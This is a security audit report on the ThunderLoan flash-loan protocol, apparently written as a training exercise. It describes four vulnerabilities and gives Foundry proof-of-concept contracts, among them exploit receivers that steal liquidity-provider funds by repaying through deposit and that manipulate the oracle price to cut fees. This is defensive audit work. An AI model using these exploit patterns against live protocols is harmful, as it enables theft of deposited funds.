ThunderLoan Protocol Audit Report

Version 1.0

Cyfrin.io

July 24, 2024

ThunderLoan Protocol Audit Report

Nengak Emmanuel Goltong

July 24, 2024

Prepared by: Spomaria Lead Auditors: - Nengak Emmanuel Goltong

Table of Contents

Protocol Summary

The ThunderLoan Protocol allows Liquidity Providers to deposit funds into the Protocol and get some interest in form of fees acrued from loans. Users can take out flash loans from the Protocol and repay with the lending fee inclusive all in one transaction else, the entire transaction is reverted.

Disclaimer

The Spomaria team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

Roles

Executive Summary

Issues found

Severity	Number of Issues Found
High	3
Medium	1
Low	0
Gas	0
Info	0
Total	4

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchange` in the `ThunderLoan::deposit` function causes the protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

Description: In the ThunderLoan system, the `updateExchange` function is responsible for calculating the exchange rate between the assetTokens and underlying tokens. In a way, it is responsible for keeping track of how many fees to give to liquidity providers.

However, the `deposit` function updates the exchange rate without collecting any fees.

```
1     function deposit(IERC20 token, uint256 amount) external
         revertIfZero(amount) revertIfNotAllowedToken(token) {
2             AssetToken assetToken = s_tokenToAssetToken[token];
3             uint256 exchangeRate = assetToken.getExchangeRate();
```

```
4               uint256 mintAmount = (amount * assetToken.
                    EXCHANGE_RATE_PRECISION()) / exchangeRate;
5               emit Deposit(msg.sender, token, amount);
6               assetToken.mint(msg.sender, mintAmount);
7               // @audit-high
8   @>          uint256 calculatedFee = getCalculatedFee(token, amount);
9   @>          assetToken.updateExchangeRate(calculatedFee);
10              token.safeTransferFrom(msg.sender, address(assetToken),
                    amount);
11          }
```

Impact: There are several impacts to this bug. 1. The redeem function is blocked because the protocol has less owed tokens than it thinks 2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved.

Proof of Concept: 1. Liquidity Provider deposits 2. User takes out a flash loan 3. It is now impossible for Liquidity Provider to redeem all funds due to them

Proof of Code Place the following into `ThunderLoan.t.sol`

```
1       function test_RedeemAfterLoan() public setAllowedToken hasDeposits
            {
2           uint256 amountToBorrow = AMOUNT * 10;
3           uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
                amountToBorrow);
4
5           vm.startPrank(user);
6           tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
7           thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
                amountToBorrow, "");
8           vm.stopPrank();
9
10          uint256 amountToRedeem = type(uint256).max;
11          vm.prank(liquidityProvider);
12          thunderLoan.redeem(tokenA, amountToRedeem);
13
14      }
```

Recommended Mitigation: Remove the incorrectly updated exchange rate lines from the `deposit` function.

```
1       function deposit(IERC20 token, uint256 amount) external
            revertIfZero(amount) revertIfNotAllowedToken(token) {
2               AssetToken assetToken = s_tokenToAssetToken[token];
3               uint256 exchangeRate = assetToken.getExchangeRate();
4               uint256 mintAmount = (amount * assetToken.
                    EXCHANGE_RATE_PRECISION()) / exchangeRate;
5               emit Deposit(msg.sender, token, amount);
6               assetToken.mint(msg.sender, mintAmount);
7               // @audit-high
```

```
8 -             uint256 calculatedFee = getCalculatedFee(token, amount);
9 -             assetToken.updateExchangeRate(calculatedFee);
10              token.safeTransferFrom(msg.sender, address(assetToken),
                    amount);
11          }
```

[H-2] Users can repay thier flash loan using the `deposit` function which then allows them to redeem the deposited funds, thereby stealing funds from the Liquidity Providers.

Description: The `ThunderLoan` protocol checks if a flash loan has been repayed by comparing the contract balance at the beginning and end of the transaction. The moment the ending balance of the protocol is greater than the starting balance by the fee acrued from giving out the flash loan, the protocol considers the flash loan as being repayed.

Therefore, if a user repays their loan using the `deposit` function, the protocol considers the flash loan as being repayed, but in addition, the user is considered a liquidity provider and can redeem the deposited funds.

Impact: A user can get a flash loan from the protocol by calling the `flashloan` function, repay the flash loan by calling the `deposit` function and passing the flash loan amount plus fees as the deposit amount and thereafter, withdraw the deposited amount using the `redeem` function, and by so doing, steal funds from the protocol.

Proof of Concept: 1. A user requests for a flash loan 2. The user uses the `deposit` function to send funds into `ThunderLoan` thereby, repaying the loan. 3. User then withdraws the deposited funds using the `redeem` function.

Proof of Code

Add the following contract into `ThunderLoan.t.sol`

```
1  contract DepositOverRepay is IFlashLoanReceiver {
2      ThunderLoan thunderLoan;
3      AssetToken assetToken;
4      IERC20 s_token;
5
6      constructor(address _thunderLoan) {
7          thunderLoan = ThunderLoan(_thunderLoan);
8      }
9
10     function executeOperation(
11         address token,
12         uint256 amount,
13         uint256 fee,
14         address /*initiator*/,
15         bytes calldata /*params*/
```

```
16      )
17      external
18      returns (bool){
19          s_token = IERC20(token);
20          assetToken = thunderLoan.getAssetFromToken(IERC20(token));
21          IERC20(token).approve(address(thunderLoan), amount + fee);
22          thunderLoan.deposit(IERC20(token), amount + fee);
23
24          return true;
25      }
26
27      function redeemMoney() public {
28          uint256 amount = assetToken.balanceOf(address(this));
29          thunderLoan.redeem(s_token, amount);
30      }
31  }
```

Also, add this function in the `ThunderLoan.t.sol` contract

```
1  function test_UseDepositInsteadofRepayToStealFunds() public
       setAllowedToken hasDeposits {
2      uint256 amountToBorrow = 50e18;
3      uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
4      DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
5
6      vm.startPrank(user);
7      tokenA.mint(address(dor), fee);
8      thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
9      dor.redeemMoney();
10     vm.stopPrank();
11
12     assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
13 }
```

Recommended Mitigation:

[H-3] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning` freezing protocol

Description: `ThunderLoan.sol` has two variables in the following order:

```
1  uint256 private s_feePrecision;
2  uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has them in a different order:

```
1  uint256 private s_flashLoanFee; // 0.3% ETH fee
```

```
2 uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade, the `s_flashLoanFee` will take the value of `s_feePrecision`. You cannot adjust the position of storage variables, and removing storage variables for constant variables breaks the storage locations as well.

Impact: After the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans after the upgrade will be charged the wrong fee.

More importantly, the `s_currentlyFlashLoaning` mapping will be stored in the wrong storage slot.

Proof of Concept:

1. Read and cache the `s_flashLoanFee` from the `ThunderLoan.sol` contract using the `ThunderLoan::getFlashLoanFee` function
2. Upgrade the `ThunderLoan.sol` contract to `ThunderLoanUpgraded.sol` contract
3. Now read and cache the `s_flashLoanFee` from the upgraded contract using the `ThunderLoan::getFlashLoanFee` function
4. You will find that `s_flashLoanFee` has changed which should not be so.

Proof of Code Add the following function to the `ThunderLoan.t.sol` script

```
1  import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
       ThunderLoanUpgraded.sol";
2  .
3  .
4  .
5
6  function test_UpgradeBreaks() public {
7      uint256 feeBeforeUpgrade = thunderLoan.getFee();
8
9      vm.startPrank(thunderLoan.owner());
10     ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
11     thunderLoan.upgradeToAndCall(address(upgraded), "");
12     vm.stopPrank();
13
14     uint256 feeAfterUpgrade = thunderLoan.getFee();
15     console2.log("Fee Before Upgrade: ", feeBeforeUpgrade);
16     console2.log("Fee After Upgrade: ", feeAfterUpgrade);
17
18     assertNotEq(feeBeforeUpgrade, feeAfterUpgrade);
19
20 }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: If you must remove the storage variable, leave it as blank so as to not mess up the storage slots.

```
-   uint256 private s_flashLoanFee; // 0.3% ETH fee
-   uint256 public constant FEE_PRECISION = 1e18;
+   uint256 private s_blank;
+   uint256 private s_flashLoanFee; // 0.3% ETH fee
+   uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks.

Description: The TSwap protocol is a constant product formula based automated market maker (AMM). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically get reduced fees for providing liquidity.

Proof of Concept: The following all happens in one transaction. 1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee, `fee1`. During the flash loan, they do the following: 1. User sells 1000 `tokenA`, tanking the price 2. Instead of paying right away, user takes another flash loan for another 1000 `tokenA` 1. Due to the the way the `ThunderLoan` calculates price based on the `TSwapPool`, this second flash loan is substantially cheaper. `javascript function getPriceInWeth(address token)public view returns (uint256){ address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token); return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth(); }` 3. The user then repays the first flash loan, and then repays the second flash loan

Proof of Code Add the following imports to `ThunderLoan.t.sol`

```
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/
    ERC1967Proxy.sol";
import { IFlashLoanReceiver } from "../../src/interfaces/
    IFlashLoanReceiver.sol";
import { BuffMockPoolFactory } from "../mocks/BuffMockPoolFactory.sol";
import { BuffMockTSwap } from "../mocks/BuffMockTSwap.sol";
import { ERC20Mock } from "../mocks/ERC20Mock.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"
    ;
```

Add the following contract to `ThunderLoan.t.sol`

```
contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
```

```
    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap tswapPool;
    bool attacked;
    uint256 public feeOne;
    uint256 public feeTwo;

    constructor(address _tswapPool, address _thunderLoan, address
        _repayAddress) {
        thunderLoan = ThunderLoan(_thunderLoan);
        tswapPool = BuffMockTSwap(_tswapPool);
        repayAddress = _repayAddress;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /*initiator*/,
        bytes calldata /*params*/
    )
        external
        returns (bool){
            if(!attacked){
                feeOne = fee;
                attacked = true;
                // 1. Swap tokenA borrowed on loan for WETH
                // 2. take out another flash loan to see the difference
                uint256 wethBought = tswapPool.
                    getOutputAmountBasedOnInput(50e18, 100e18, 100e18);
                IERC20(token).approve(address(tswapPool), 50e18);
                tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50
                    e18, wethBought, block.timestamp);
                // we call a second flash loan
                thunderLoan.flashloan(address(this), IERC20(token),
                    amount, "");
                // repay
                // IERC20(token).approve(address(thunderLoan), amount +
                     fee);
                // thunderLoan.repay(IERC20(token), amount + fee);
                IERC20(token).transfer(address(repayAddress), amount +
                    fee);
            } else {
                feeTwo = fee;
                // repay
                // IERC20(token).approve(address(thunderLoan), amount +
                     fee);
                // thunderLoan.repay(IERC20(token), amount + fee);
                IERC20(token).transfer(address(repayAddress), amount +
                    fee);
            }
```

```
        }
}
```

Finally, add the following function to `ThunderLoan.t.sol`

```
function test_OracleManipulation() public {
        // 1. Set up contracts
        thunderLoan = new ThunderLoan();
        mockPoolFactory = new MockPoolFactory();

        weth = new ERC20Mock();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");

        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
        // create a TSwap DEX between WETH and tokenA
        address tswapPool = pf.createPool(address(tokenA));

        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        // 2. Fund TSwap
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(address(tswapPool), 100e18);
        weth.mint(liquidityProvider, 100e18);
        weth.approve(address(tswapPool), 100e18);
        BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.timestamp);
        vm.stopPrank();
        // This means that the ratio of WETH to tokenA is 1:1

        // 3. Fund ThunderLoan
        // set allow
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        // Fund
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 1000e18);
        tokenA.approve(address(thunderLoan), 1000e18);
        thunderLoan.deposit(tokenA, 1000e18);
        vm.stopPrank();
        // we now have 100 WETH and 100 tokenA in TSwap and
        // 1000 tokenA in ThunderLoan that could be loaned out
        // take out a flash loan of 50 tokenA from ThunderLoan
        // swap it for WETH on the dex (tswap) and tank the price i.e. 150 tokenA -> <100 WETH
        // take out another flash loan
        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18);
```

```
43          console2.log("Normal Fee:", normalFeeCost);
44
45          // 4. We are going to take out 2 flash loans
46          //      a. nuke the price of WETH/tokenA on TSwap
47          //      b. to show that doing so greatly reduces the fees we
                pay on ThunderLoan
48          uint256 amountToBorrow = 50e18;
49          MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver
                (address(tswapPool), address(thunderLoan), address(
                thunderLoan.getAssetFromToken(tokenA)));
50
51          vm.startPrank(user);
52          tokenA.mint(address(flr), 100e18);
53          thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "")
                ;
54          vm.stopPrank();
55
56          uint256 attackFee = flr.feeOne() + flr.feeTwo();
57          console2.log("Attack Fee is: ", attackFee);
58          assert(attackFee < normalFeeCost);
59      }
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.